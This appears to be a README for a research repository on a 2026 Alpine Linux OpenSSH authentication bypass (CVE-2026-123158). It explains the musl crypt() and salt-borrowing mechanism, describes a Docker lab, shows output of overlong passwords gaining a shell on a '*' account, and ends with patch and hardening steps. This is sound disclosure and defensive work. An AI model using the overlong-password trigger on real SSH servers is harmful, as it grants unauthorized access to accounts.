
Vulnerability research, PoC reproduction lab, and technical analysis for Alpine Linux OpenSSH authentication bypass (CVE-2026-123158 / sshole)

This repository contains the full vulnerability research report, laboratory reproduction scripts, and proof-of-concept environment for the Alpine Linux OpenSSH authentication bypass vulnerability (CVE-2026-123158, CVSS 3.1 8.1 High, dubbed "sshole") disclosed on November 5, 2026.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-394)/etc/shadow password field is exactly *.openssh-server-9.9_p2-r0 running on musl libc without PAM.openssh-server-9.9_p2-r1 and upstream OpenSSH 10.6p2.A*300x).Note on Input Boundary: While the CVE description cites 256–1024 characters, empirical testing in this lab demonstrates that musl libc hashes 256-byte inputs normally (
key_len > KEY_MAX); only inputs of 257 to 1024 bytes return"*"to trigger the authentication bypass.
How SSHOLE Happens Flow Figure: Step-by-step mechanism of CVE-2026-123158 illustrating how input lengths, OpenSSH salt borrowing, and musl error returns align into an arbitrary authentication bypass.
The flaw results from the intersection of three components:
KEY_MAX = 256: When calculating SHA-512 crypt ($6$), musl rejects keys longer than 256 bytes and returns the literal string "*".pick_salt() (CVE-2016-6210): For accounts without valid salts (like *), OpenSSH borrows a salt from another account on the system with a valid $5$ or $6$ hash.crypt(password, salt) directly with the shadow entry. Since musl returns "*", strcmp("*", "*") == 0 grants authenticated access.alpine-openssh-sshole-auth-bypass/
├── article.md # Comprehensive security research report
├── README.md # Project overview & quick reproduction guide
├── cover.png # Cover illustration with CVE badge & hacker icon (PNG)
├── cover.svg # Vector source for cover
├── assets/
│ ├── evidence.png # Terminal reproduction screenshot evidence
│ └── flow.gif # Clean animated walkthrough of the vulnerability flow
└── lab/
├── server.Dockerfile # Alpine 3.21 + vulnerable openssh-server
├── client.Dockerfile # Exploit testing client container
├── sshd.conf # Research server OpenSSH configuration
├── entrypoint.sh # Container provisioning (victim:*, donor:$6$)
├── exploit.sh # Automated boundary PoC (256/257/300/1024 bytes)
├── run.sh # End-to-end execution script
└── verify.sh # A/B verification script against fixed package
Run the lab in an isolated local Docker container:
# Build and run the vulnerable server and exploit test
cd lab
./run.sh
==================================================================
sshd: OpenSSH_9.9p2, OpenSSL 3.3.7 7 Apr 2026
libc: /lib/ld-musl-x86_64.so.1
PAM : 0 (0 = built without PAM)
shadow entries:
donor:$6$abcdefgh$OHEEfDgChDIS
victim:*
==================================================================
--- boundary: '*' account, different password lengths ---
>>> 256 bytes (musl still hashes) rejected (ssh rc=255)
>>> 257 bytes (crypt() returns '*') ACCEPTED <-- uid=1001 user=victim
>>> 300 bytes ACCEPTED <-- uid=1001 user=victim
>>> 1024 bytes ACCEPTED <-- uid=1001 user=victim
--- controls ---
>>> victim + short wrong password rejected (ssh rc=255)
>>> donor + correct real password ACCEPTED <-- uid=1000 user=donor
ssh -p 2222 [email protected]
# Prompt 1: Type 300 'A' characters (A*300x) -> Permission denied (buffer clobbered)
# Prompt 2: Type 300 'A' characters (A*300x) -> Accepted! Shell access granted.
Terminal session verifying authentication bypass on [email protected] after submitting the 300-byte password string (A*300x), showing successful shell access as uid=1001(victim).
cd lab
./verify.sh
apk update && apk upgrade openssh-server openssh
rc-service sshd restart
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/00-no-passwords.conf
sshd -t && rc-service sshd restart
! instead of *:
passwd -l <user>
This research was conducted for educational purposes, security analysis, and authorized vulnerability assessment. The findings and proof-of-concept materials are intended to support responsible security research and help improve software security. Any testing should be performed only on systems for which explicit authorization has been granted. This publication does not encourage unauthorized access, exploitation, or any other unlawful activity.